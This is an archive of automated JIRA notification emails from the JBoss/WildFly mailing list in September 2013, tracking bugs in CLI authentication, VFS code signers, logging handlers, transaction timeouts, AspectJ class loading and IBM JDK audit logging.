From jira-events at lists.jboss.org  Fri Sep 20 17:00:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 17:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1592) Attempting to use eap6.1
 jboss-cli.sh to connect to remote wildfly (alpha1 or 2) fails;
 credentials not accepted
In-Reply-To: <JIRA.12495153.1372256939000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495153.1372256939000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495153.1372256939000.38097.1379710803730@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1592?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd reassigned WFLY-1592:
---------------------------------

    Assignee: Darran Lofthouse  (was: David Lloyd)


Darran, can you please have a look?  Thanks.
                
> Attempting to use eap6.1 jboss-cli.sh to connect to remote wildfly (alpha1 or 2) fails; credentials not accepted
> ----------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1592
>                 URL: https://issues.jboss.org/browse/WFLY-1592
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting, Security
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Rob Stryker
>            Assignee: Darran Lofthouse
>
> Using eap6.1 client jars, or the jboss-cli.sh script in a local eap6.1 installation, to connect to a remote wildfly alpha1 or alpha2, seems to work but fails when provided with credentials.  This is most easily replicated as follows:
> 1) On remote machine start wildfly alpha1 or alpha2
> 2) on local machine, cd eap-6.1/bin
> 3) on local machine:
> [rob at rawbdor bin]$ ./jboss-cli.sh 
> You are disconnected at the moment. Type 'connect' to connect to the server or 'help' for the list of supported commands.
> [disconnected /] connect myhost.net 
> Authenticating against security realm: ManagementRealm
> Username: admin
>  Password: 
> Unable to authenticate against controller at myhost.net:9999: Authentication failed: all available authentication mechanisms failed
> This is an issue for tools as we need a set of jars that communicates correctly with all as7 servers. We currently have a set of jars that communicates with all 7.x / eap 6.x, which is good. If this is merely a bug on the server, then we can hopefully delay having to bundle an additional set of client jars until larger breakages occur. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 17:18:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 17:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBVFS-191) Support getCodeSigners() on
 RealFileSystem (and RootFileSystem)
In-Reply-To: <JIRA.12501142.1379711853810@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501142.1379711853810@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501142.1379711853810.38108.1379711883432@jira02.app.mwc.hst.phx2.redhat.com>

David Lloyd created JBVFS-191:
---------------------------------

             Summary: Support getCodeSigners() on RealFileSystem (and RootFileSystem)
                 Key: JBVFS-191
                 URL: https://issues.jboss.org/browse/JBVFS-191
             Project: JBoss VFS
          Issue Type: Feature Request
      Security Level: Public (Everyone can see)
    Affects Versions: 3.2.0.Beta1
            Reporter: David Lloyd
            Assignee: Tomaz Cerar
             Fix For: 3.2.0.Beta2


The {{getCodeSigners()}} method is a no-op on non-JAR filesystems, which causes security issues when a security manager is enabled.  Simulate the behavior of JarFile for this method.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 17:37:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Fri, 20 Sep 2013 17:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1713) Using the add-handler
 operation on an async-handler doesn't write the handler property to the
 logging.properties file
In-Reply-To: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496739.1374097920000.38115.1379713023422@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1713?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

James Perkins resolved WFLY-1713.
---------------------------------

    Resolution: Out of Date


I'm guessing this was fixed with the logmanager component upgrade. I can no longer duplicate the issue. Handlers now seem to be added correctly.
                
> Using the add-handler operation on an async-handler doesn't write the handler property to the logging.properties file
> ---------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1713
>                 URL: https://issues.jboss.org/browse/WFLY-1713
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Executing an {{add-handler}} operation does not write the {{handler.$NAME.handlers}} property to the logging.properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 17:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 17:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1713) Using the add-handler
 operation on an async-handler doesn't write the handler property to the
 logging.properties file
In-Reply-To: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496739.1374097920000.38127.1379713383563@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1713?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806216#comment-12806216 ] 

RH Bugzilla Integration commented on WFLY-1713:
-----------------------------------------------

James Perkins <jperkins at redhat.com> made a comment on [bug 997638|https://bugzilla.redhat.com/show_bug.cgi?id=997638]

This was fixed as part of the logmanager upgrade, https://bugzilla.redhat.com/show_bug.cgi?id=994700. The actual commit in the logmanager was https://github.com/jboss-logging/jboss-logmanager/commit/652500d04769983debd6d583fc600ba34cf58006.
                
> Using the add-handler operation on an async-handler doesn't write the handler property to the logging.properties file
> ---------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1713
>                 URL: https://issues.jboss.org/browse/WFLY-1713
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Executing an {{add-handler}} operation does not write the {{handler.$NAME.handlers}} property to the logging.properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 17:45:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Fri, 20 Sep 2013 17:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1713) Using the add-handler
 operation on an async-handler doesn't write the handler property to the
 logging.properties file
In-Reply-To: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496739.1374097920000.38130.1379713503422@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1713?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806214#comment-12806214 ] 

James Perkins edited comment on WFLY-1713 at 9/20/13 5:43 PM:
--------------------------------------------------------------

I'm guessing this was fixed with the logmanager component upgrade. I can no longer duplicate the issue. Handlers now seem to be added correctly. The logmanager commit that fixed this was https://github.com/jboss-logging/jboss-logmanager/commit/652500d04769983debd6d583fc600ba34cf58006
                
      was (Author: jamezp):
    I'm guessing this was fixed with the logmanager component upgrade. I can no longer duplicate the issue. Handlers now seem to be added correctly.
                  
> Using the add-handler operation on an async-handler doesn't write the handler property to the logging.properties file
> ---------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1713
>                 URL: https://issues.jboss.org/browse/WFLY-1713
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Executing an {{add-handler}} operation does not write the {{handler.$NAME.handlers}} property to the logging.properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 17:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 17:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1713) Using the add-handler
 operation on an async-handler doesn't write the handler property to the
 logging.properties file
In-Reply-To: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496739.1374097920000.38136.1379713623382@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1713?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806218#comment-12806218 ] 

RH Bugzilla Integration commented on WFLY-1713:
-----------------------------------------------

James Perkins <jperkins at redhat.com> changed the Status of [bug 997638|https://bugzilla.redhat.com/show_bug.cgi?id=997638] from NEW to ON_QA
                
> Using the add-handler operation on an async-handler doesn't write the handler property to the logging.properties file
> ---------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1713
>                 URL: https://issues.jboss.org/browse/WFLY-1713
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Executing an {{add-handler}} operation does not write the {{handler.$NAME.handlers}} property to the logging.properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 17:58:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 17:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-850) @TransactionTimeout ignored if
 method ist not public
In-Reply-To: <JIRA.12463415.1333657319000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463415.1333657319000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463415.1333657319000.38150.1379714283456@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-850?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806222#comment-12806222 ] 

David Lloyd commented on WFLY-850:
----------------------------------

This behavior was most likely introduced here: https://github.com/jbossas/jboss-as/compare/3eb2183...8a8866e / https://github.com/wildfly/wildfly/pull/45 in response to AS7-899 but instead of simply selecting the most specific matching method, it just grabs whatever public method it can find, thus protected/etc. get left out.
                
> @TransactionTimeout ignored if method ist not public
> ----------------------------------------------------
>
>                 Key: WFLY-850
>                 URL: https://issues.jboss.org/browse/WFLY-850
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Frank Langelage
>            Assignee: jaikiran pai
>            Priority: Minor
>
> The annotation @TransactionTimeout is not honored, when the method has other than public access.
> @Timeout methods invoked by the container are allowed to have "public, private, protected, or package level access".
> So the annotation should work also if method is not public.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 17:58:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 17:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-850) @TransactionTimeout ignored if
 method ist not public
In-Reply-To: <JIRA.12463415.1333657319000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463415.1333657319000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463415.1333657319000.38158.1379714283650@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-850?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd reassigned WFLY-850:
--------------------------------

    Assignee: David Lloyd  (was: jaikiran pai)

    
> @TransactionTimeout ignored if method ist not public
> ----------------------------------------------------
>
>                 Key: WFLY-850
>                 URL: https://issues.jboss.org/browse/WFLY-850
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Frank Langelage
>            Assignee: David Lloyd
>            Priority: Minor
>
> The annotation @TransactionTimeout is not honored, when the method has other than public access.
> @Timeout methods invoked by the container are allowed to have "public, private, protected, or package level access".
> So the annotation should work also if method is not public.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 18:00:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 18:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-826) ModuleClassLoader breaks
 Aspect-J non-load-time-weaving aspects
In-Reply-To: <JIRA.12482271.1357750084000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12482271.1357750084000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12482271.1357750084000.38163.1379714403989@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-826?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-826.
------------------------------

    Resolution: Rejected


I'm not going to accept this issue.  It seems like a shortcoming in AspectJ that it assumes a flat classpath.  This is not something that can be fixed with a wave of a wand, and anyway if JDK9 comes along with modules, it's likely to just break for good on all applications.
                
> ModuleClassLoader breaks Aspect-J non-load-time-weaving aspects 
> ----------------------------------------------------------------
>
>                 Key: WFLY-826
>                 URL: https://issues.jboss.org/browse/WFLY-826
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading
>         Environment: Windows 7
>            Reporter: Jarkko Rantavuori
>            Assignee: David Lloyd
>         Attachments: MyMethodTrace.java, MyMethodTraceAspect.java, spring-app-aop-datasource-1.0.0-BUILD-SNAPSHOT.war, spring-mvc-aop-datasource-app.zip
>
>
> Special measures need to be taken for load-time-weaving with aspects, but using them without load-time weaving works normally OOB. However, if this kind of Spring configuration is used:
>     <!-- Test to get a data source -->
>     <jee:jndi-lookup id="dataSource" jndi-name="jboss/datasources/ExampleDS"/>
>     <!-- AOP part -->
>     <bean id="methodTraceAspect" class="fi.eis.applications.jboss.poc.gemini.spring.aop.support.api.MyMethodTraceAspect"/>
>     <aop:aspectj-autoproxy />
>     <!-- end AOP -->
>     <bean class="fi.eis.applications.controllers.HomeController">
>         <constructor-arg ref="dataSource" />
>     </bean>
> JBoss tries to use methodTraceAspect also on the data source. Data source is loaded by ModuleClassLoader that in has only visibility to org.jboss.jca.adapters* classes (confirmed with a debugger), so it cannot find the aspect class anymore, making aspect-j throw org.aspectj.weaver.reflect.ReflectionWorld$ReflectionWorldException: warning can't determine implemented interfaces of missing type
> fi.eis.applications.jboss.poc.gemini.spring.aop.support.api.MyMethodTraceAspect [Xlint:cantFindType].
> This has large problems in bigger applications, where general AOP pointcuts are used - no jboss-module stuff can be used as beans, anywhere. I'm aware of no workaround for this.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 18:13:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 18:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBLOGGING-85) slf4j-jboss-logmanager
 does not support parametization of a logging statement in the presence of a
 Throwable
In-Reply-To: <JIRA.12472064.1344503194000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12472064.1344503194000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12472064.1344503194000.38171.1379715183499@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBLOGGING-85?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806224#comment-12806224 ] 

RH Bugzilla Integration commented on JBLOGGING-85:
--------------------------------------------------

James Perkins <jperkins at redhat.com> made a comment on [bug 876489|https://bugzilla.redhat.com/show_bug.cgi?id=876489]

This actually looks like it was done on 6.1.1.ER1 with an upgrade to the slf4j-jboss-logmanager. Commit was https://github.com/jbossas/jboss-eap/commit/872fd1c8056062ac233421bd64c4db50ca74cae2
                
> slf4j-jboss-logmanager does not support parametization of a logging statement in the presence of a Throwable
> ------------------------------------------------------------------------------------------------------------
>
>                 Key: JBLOGGING-85
>                 URL: https://issues.jboss.org/browse/JBLOGGING-85
>             Project: JBoss Logging
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: slf4j-jboss-logmanager
>            Reporter: Hercules Zeus
>            Assignee: James Perkins
>
> http://www.slf4j.org/faq.html#paramException describes that from slf4j 1.6 onwards doing the following will print a stacktrace:
> logger.error("Failed to format {}", s, e);
> However, due to the implementation of org.slf4j.impl.MessageFormatter in slf4j-jboss-logmanager, when logger.error(String, Object, Object) is called, even if the third parameter is a Throwable, it is not recognised as such.
> Investigating further, it seems that org.slf4j.impl.MessageFormatter is probably just an old copy of org.slf4j.helpers.MessageFormatter in slfj-api 1.6.1, where most formatting methods used to return a String now returns a FormattingTuple.
> This issue can be fixed by making all calls in Slf4Logger to org.slf4j.impl.MessageFormatter to call org.slf4j.helpers.MessageFormatter instead and appropriately call ExtLogRecord.setThrown(formattingTuple.getThrowable()).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 18:13:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 18:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBLOGGING-85) slf4j-jboss-logmanager
 does not support parametization of a logging statement in the presence of a
 Throwable
In-Reply-To: <JIRA.12472064.1344503194000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12472064.1344503194000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12472064.1344503194000.38174.1379715183578@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBLOGGING-85?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806225#comment-12806225 ] 

RH Bugzilla Integration commented on JBLOGGING-85:
--------------------------------------------------

James Perkins <jperkins at redhat.com> changed the Status of [bug 876489|https://bugzilla.redhat.com/show_bug.cgi?id=876489] from NEW to ON_QA
                
> slf4j-jboss-logmanager does not support parametization of a logging statement in the presence of a Throwable
> ------------------------------------------------------------------------------------------------------------
>
>                 Key: JBLOGGING-85
>                 URL: https://issues.jboss.org/browse/JBLOGGING-85
>             Project: JBoss Logging
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: slf4j-jboss-logmanager
>            Reporter: Hercules Zeus
>            Assignee: James Perkins
>
> http://www.slf4j.org/faq.html#paramException describes that from slf4j 1.6 onwards doing the following will print a stacktrace:
> logger.error("Failed to format {}", s, e);
> However, due to the implementation of org.slf4j.impl.MessageFormatter in slf4j-jboss-logmanager, when logger.error(String, Object, Object) is called, even if the third parameter is a Throwable, it is not recognised as such.
> Investigating further, it seems that org.slf4j.impl.MessageFormatter is probably just an old copy of org.slf4j.helpers.MessageFormatter in slfj-api 1.6.1, where most formatting methods used to return a String now returns a FormattingTuple.
> This issue can be fixed by making all calls in Slf4Logger to org.slf4j.impl.MessageFormatter to call org.slf4j.helpers.MessageFormatter instead and appropriately call ExtLogRecord.setThrown(formattingTuple.getThrowable()).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 18:27:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 20 Sep 2013 18:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2121) Audit logging doesn't work
	with IBM JDK
In-Reply-To: <JIRA.12501144.1379715912983@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501144.1379715912983@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501144.1379715912983.38181.1379716023288@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2121:
--------------------------------------

             Summary: Audit logging doesn't work with IBM JDK
                 Key: WFLY-2121
                 URL: https://issues.jboss.org/browse/WFLY-2121
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
            Priority: Critical
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 18:29:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 20 Sep 2013 18:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2121) Audit logging doesn't work
	with IBM JDK
In-Reply-To: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501144.1379715912000.38183.1379716143335@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2121?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2121:
-----------------------------------

    Description: 
The audit logging facility and a test case specify KeyManagerFactory.getInstance("SunX509"), which will not work on an IBM JVM.

Googling around, it seems KeyManagerFactory.getDefaultAlgorithm() is the correct thing to use. I've tried that out and the testsuite at least passes with that.

    
> Audit logging doesn't work with IBM JDK
> ---------------------------------------
>
>                 Key: WFLY-2121
>                 URL: https://issues.jboss.org/browse/WFLY-2121
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> The audit logging facility and a test case specify KeyManagerFactory.getInstance("SunX509"), which will not work on an IBM JVM.
> Googling around, it seems KeyManagerFactory.getDefaultAlgorithm() is the correct thing to use. I've tried that out and the testsuite at least passes with that.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 18:29:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 20 Sep 2013 18:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2121) Audit logging doesn't work
	with IBM JDK
In-Reply-To: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501144.1379715912000.38186.1379716143384@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2121?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry reassigned WFLY-2121:
--------------------------------------

    Assignee: Kabir Khan  (was: Brian Stansberry)


I'm going to submit a PR for this, but Kabir you need to look at it.
                
> Audit logging doesn't work with IBM JDK
> ---------------------------------------
>
>                 Key: WFLY-2121
>                 URL: https://issues.jboss.org/browse/WFLY-2121
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Kabir Khan
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> The audit logging facility and a test case specify KeyManagerFactory.getInstance("SunX509"), which will not work on an IBM JVM.
> Googling around, it seems KeyManagerFactory.getDefaultAlgorithm() is the correct thing to use. I've tried that out and the testsuite at least passes with that.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 20:27:03 2013
From: jira-events at lists.jboss.org (Michael Li (JIRA))
Date: Fri, 20 Sep 2013 20:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.38199.1379723223343@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806229#comment-12806229 ] 

Michael Li commented on WFLY-2057:
----------------------------------

Will the fix be merged back to AS7 and/or EAP 6.1? 
                
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 02:03:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Sat, 21 Sep 2013 02:03:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1592) Attempting to use eap6.1
 jboss-cli.sh to connect to remote wildfly (alpha1 or 2) fails;
 credentials not accepted
In-Reply-To: <JIRA.12495153.1372256939000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495153.1372256939000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495153.1372256939000.38244.1379743384171@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1592?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1592:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Attempting to use eap6.1 jboss-cli.sh to connect to remote wildfly (alpha1 or 2) fails; credentials not accepted
> ----------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1592
>                 URL: https://issues.jboss.org/browse/WFLY-1592
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting, Security
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Rob Stryker
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> Using eap6.1 client jars, or the jboss-cli.sh script in a local eap6.1 installation, to connect to a remote wildfly alpha1 or alpha2, seems to work but fails when provided with credentials.  This is most easily replicated as follows:
> 1) On remote machine start wildfly alpha1 or alpha2
> 2) on local machine, cd eap-6.1/bin
> 3) on local machine:
> [rob at rawbdor bin]$ ./jboss-cli.sh 
> You are disconnected at the moment. Type 'connect' to connect to the server or 'help' for the list of supported commands.
> [disconnected /] connect myhost.net 
> Authenticating against security realm: ManagementRealm
> Username: admin
>  Password: 
> Unable to authenticate against controller at myhost.net:9999: Authentication failed: all available authentication mechanisms failed
> This is an issue for tools as we need a set of jars that communicates correctly with all as7 servers. We currently have a set of jars that communicates with all 7.x / eap 6.x, which is good. If this is merely a bug on the server, then we can hopefully delay having to bundle an additional set of client jars until larger breakages occur. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 05:18:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Sat, 21 Sep 2013 05:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2121) Audit logging doesn't work
	with IBM JDK
In-Reply-To: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501144.1379715912000.38250.1379755083443@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2121?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806241#comment-12806241 ] 

Kabir Khan commented on WFLY-2121:
----------------------------------

I will update my ibm-fixes eap branch to include this same fix, I had solved it in a different (worse) way and see if it still builds on IBM
                
> Audit logging doesn't work with IBM JDK
> ---------------------------------------
>
>                 Key: WFLY-2121
>                 URL: https://issues.jboss.org/browse/WFLY-2121
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Kabir Khan
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
